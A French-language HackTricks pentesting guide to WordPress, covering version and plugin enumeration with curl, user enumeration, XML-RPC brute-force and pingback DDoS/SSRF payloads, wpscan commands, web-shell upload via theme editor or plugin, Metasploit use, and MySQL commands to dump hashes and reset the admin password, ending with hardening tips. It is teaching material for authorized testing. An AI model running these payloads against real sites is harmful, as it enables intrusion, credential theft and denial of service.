Wordpress

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Utilisez Trickest pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde. Accédez dès aujourd'hui :

Informations de base

Les fichiers téléchargés vont à : http://10.10.10.10/wp-content/uploads/2018/08/a.txt Les fichiers des thèmes peuvent être trouvés dans /wp-content/themes/, donc si vous modifiez du code php du thème pour obtenir une RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant le thème twentytwelve, vous pouvez accéder au fichier 404.php dans : /wp-content/themes/twentytwelve/404.php Une autre URL utile pourrait être : /wp-content/themes/default/404.php

Dans wp-config.php, vous pouvez trouver le mot de passe root de la base de données.

Chemins de connexion par défaut à vérifier : /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Fichiers principaux de WordPress

  • index.php

  • license.txt contient des informations utiles telles que la version de WordPress installée.

  • wp-activate.php est utilisé pour le processus d'activation par e-mail lors de la configuration d'un nouveau site WordPress.

  • Dossiers de connexion (peuvent être renommés pour les masquer) :

    • /wp-admin/login.php

    • /wp-admin/wp-login.php

    • /login.php

    • /wp-login.php

  • xmlrpc.php est un fichier qui représente une fonctionnalité de WordPress qui permet de transmettre des données avec HTTP agissant comme mécanisme de transport et XML comme mécanisme de codage. Ce type de communication a été remplacé par l'API REST de WordPress.

  • Le dossier wp-content est le répertoire principal où les plugins et les thèmes sont stockés.

  • wp-content/uploads/ est le répertoire où sont stockés les fichiers téléchargés sur la plateforme.

  • wp-includes/ est le répertoire où sont stockés les fichiers principaux, tels que les certificats, les polices, les fichiers JavaScript et les widgets.

  • wp-sitemap.xml Dans les versions de Wordpress 5.5 et supérieures, Wordpress génère un fichier XML de plan de site avec tous les articles publics et les types de publications et taxonomies interrogeables publiquement.

Post-exploitation

  • Le fichier wp-config.php contient les informations requises par WordPress pour se connecter à la base de données telles que le nom de la base de données, l'hôte de la base de données, le nom d'utilisateur et le mot de passe, les clés d'authentification et les sels, et le préfixe de table de base de données. Ce fichier de configuration peut également être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le dépannage.

Permissions des utilisateurs

  • Administrateur

  • Éditeur : Publie et gère ses propres publications et celles des autres.

  • Auteur : Publie et gère ses propres publications.

  • Contributeur : Rédige et gère ses publications mais ne peut pas les publier.

  • Abonné : Parcourt les publications et modifie son profil.

Énumération passive

Obtenir la version de WordPress

Vérifiez si vous pouvez trouver les fichiers /license.txt ou /readme.html

À l'intérieur du code source de la page (exemple de https://wordpress.org/support/article/pages/) :

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Fichiers de liens CSS

  • Fichiers JavaScript

Obtenir les plugins

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Obtenir des thèmes

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Extraire les versions en général

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Utilisez Trickest pour construire facilement et automatiser des workflows alimentés par les outils communautaires les plus avancés au monde. Accédez dès aujourd'hui à :

Énumération active

Extensions et thèmes

Vous ne pourrez probablement pas trouver toutes les extensions et thèmes possibles. Pour découvrir tous les éléments, vous devrez forcer activement une liste d'extensions et de thèmes (heureusement, il existe des outils automatisés contenant ces listes).

Utilisateurs

ID Brute

Vous obtenez des utilisateurs valides d'un site WordPress en forçant de manière brutale les identifiants d'utilisateurs :

curl -s -I -X GET http://blog.example.com/?author=1

Si les réponses sont 200 ou 30X, cela signifie que l'identifiant est valide. Si la réponse est 400, alors l'identifiant est invalide.

wp-json

Vous pouvez également essayer d'obtenir des informations sur les utilisateurs en interrogeant :

curl http://blog.example.com/wp-json/wp/v2/users

Un autre point de terminaison /wp-json/ qui peut révéler des informations sur les utilisateurs est :

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Notez que ce point de terminaison expose uniquement les utilisateurs qui ont publié un article. Seules les informations sur les utilisateurs ayant activé cette fonctionnalité seront fournies.

Notez également que /wp-json/wp/v2/pages pourrait divulguer des adresses IP.

Énumération des noms d'utilisateur de connexion

Lors de la connexion à /wp-login.php, le message est différent si le nom d'utilisateur indiqué existe ou non.

XML-RPC

Si xml-rpc.php est actif, vous pouvez effectuer une attaque par force brute sur les informations d'identification ou l'utiliser pour lancer des attaques par déni de service sur d'autres ressources. (Vous pouvez automatiser ce processus en utilisant ceci par exemple).

Pour vérifier s'il est actif, essayez d'accéder à /xmlrpc.php et envoyez cette requête :

Vérifier

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Bruteforce d'identifiants

wp.getUserBlogs, wp.getCategories ou metaWeblog.getUsersBlogs sont quelques-unes des méthodes qui peuvent être utilisées pour effectuer un bruteforce d'identifiants. Si vous parvenez à en trouver une, vous pouvez envoyer quelque chose comme :

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Le message "Nom d'utilisateur ou mot de passe incorrect" dans une réponse de code 200 doit apparaître si les identifiants ne sont pas valides.

En utilisant les identifiants corrects, vous pouvez télécharger un fichier. Dans la réponse, le chemin apparaîtra (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Il y a aussi un moyen plus rapide de forcer les informations d'identification en utilisant system.multicall car vous pouvez essayer plusieurs informations d'identification sur la même requête :

Contourner l'authentification à deux facteurs (2FA)

Cette méthode est destinée aux programmes et non aux humains, et est ancienne, donc elle ne prend pas en charge le 2FA. Ainsi, si vous avez des informations d'identification valides mais que l'entrée principale est protégée par une 2FA, vous pourriez être en mesure d'abuser de xmlrpc.php pour vous connecter avec ces informations contournant la 2FA. Notez que vous ne pourrez pas effectuer toutes les actions que vous pouvez faire via la console, mais vous pourriez quand même parvenir à une exécution de code à distance (RCE) comme l'explique Ippsec dans https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS ou balayage de ports

Si vous trouvez la méthode pingback.ping dans la liste, vous pouvez demander à Wordpress d'envoyer une requête arbitraire à n'importe quel hôte/port. Cela peut être utilisé pour demander à des milliers de sites Wordpress d'accéder à un emplacement spécifique (causant ainsi un DDoS à cet emplacement) ou vous pouvez l'utiliser pour faire scanner un réseau interne par Wordpress (vous pouvez indiquer n'importe quel port).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Si vous obtenez faultCode avec une valeur supérieure à 0 (17), cela signifie que le port est ouvert.

Jetez un œil à l'utilisation de system.multicall dans la section précédente pour apprendre comment abuser de cette méthode pour causer une DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Ce fichier existe généralement à la racine du site Wordpress : /wp-cron.php Lorsque ce fichier est accédé, une requête MySQL "lourde" est effectuée, ce qui pourrait être utilisé par des attaquants pour causer un DoS. De plus, par défaut, le wp-cron.php est appelé à chaque chargement de page (à chaque fois qu'un client demande une page Wordpress), ce qui peut poser des problèmes sur les sites à fort trafic (DoS).

Il est recommandé de désactiver Wp-Cron et de créer une tâche cron réelle à l'intérieur de l'hôte qui effectue les actions nécessaires à intervalles réguliers (sans causer de problèmes).

/wp-json/oembed/1.0/proxy - SSRF

Essayez d'accéder à https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net et le site Wordpress peut vous envoyer une requête.

Voici la réponse lorsque cela ne fonctionne pas :

SSRF

Cet outil vérifie si la méthode : pingback.ping et le chemin /wp-json/oembed/1.0/proxy existent, et s'il les trouve, il tente de les exploiter.

Outils Automatiques

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Utilisez Trickest pour construire facilement et automatiser des workflows alimentés par les outils communautaires les plus avancés au monde. Accédez dès aujourd'hui :

Accédez en écrasant un bit

Plus qu'une véritable attaque, il s'agit d'une curiosité. Dans le CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man, vous pouviez inverser 1 bit de n'importe quel fichier wordpress. Ainsi, vous pouviez inverser la position 5389 du fichier /var/www/html/wp-includes/user.php pour annuler l'opération NOT (!).

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modification d'un fichier php du thème utilisé (identifiants d'administration requis)

Apparence → Éditeur de thème → Modèle 404 (à droite)

Modifiez le contenu pour un shell php :

Recherchez sur internet comment accéder à cette page mise à jour. Dans ce cas, vous devez accéder ici : http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Vous pouvez utiliser :

use exploit/unix/webapp/wp_admin_shell_upload

Plugin RCE

Plugin RCE

Plugin RCE

Il est possible de télécharger des fichiers .php en tant que plugin. Créez votre backdoor php en utilisant par exemple :

Ensuite, ajoutez un nouveau plugin :

Téléchargez le plugin et appuyez sur Installer maintenant :

Cliquez sur Procced :

Probablement, cela ne semblera rien faire, mais si vous allez dans Média, vous verrez votre shell téléchargé :

Accédez-y et vous verrez l'URL pour exécuter le reverse shell :

Téléchargement et activation d'un plugin malveillant

Cette méthode implique l'installation d'un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un shell web. Ce processus est effectué via le tableau de bord WordPress comme suit :

  1. Acquisition du plugin : Le plugin est obtenu à partir d'une source comme Exploit DB comme ici.

  2. Installation du plugin :

  • Accédez au tableau de bord WordPress, puis allez à Tableau de bord > Extensions > Téléverser une extension.

  • Téléchargez le fichier zip du plugin téléchargé.

  1. Activation du plugin : Une fois le plugin installé avec succès, il doit être activé via le tableau de bord.

  2. Exploitation :

  • Avec le plugin "reflex-gallery" installé et activé, il peut être exploité car il est connu pour être vulnérable.

  • Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, accordant un accès non autorisé au site.

  • Il est à noter que ceci n'est qu'une des nombreuses méthodes pour exploiter un site WordPress.

Le contenu comprend des aides visuelles décrivant les étapes dans le tableau de bord WordPress pour l'installation et l'activation du plugin. Cependant, il est important de noter qu'exploiter des vulnérabilités de cette manière est illégal et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, tel que les tests d'intrusion avec une autorisation explicite.

Pour des étapes plus détaillées, consultez : https://www.hackingarticles.in/wordpress-reverse-shell/**

Post Exploitation

Extraire les noms d'utilisateur et les mots de passe :

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Changer le mot de passe administrateur :

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Protection WordPress

Mises à jour régulières

Assurez-vous que WordPress, les plugins et les thèmes sont à jour. Confirmez également que la mise à jour automatique est activée dans wp-config.php :

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Aussi, installez uniquement des plugins et thèmes WordPress fiables.

Plugins de sécurité

Autres recommandations

  • Supprimez l'utilisateur admin par défaut

  • Utilisez des mots de passe forts et 2FA

  • Passez en revue périodiquement les permissions des utilisateurs

  • Limitez les tentatives de connexion pour prévenir les attaques par force brute

  • Renommez le fichier wp-admin.php et autorisez l'accès uniquement en interne ou depuis certaines adresses IP.

Utilisez Trickest pour créer et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde. Accédez dès aujourd'hui :

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour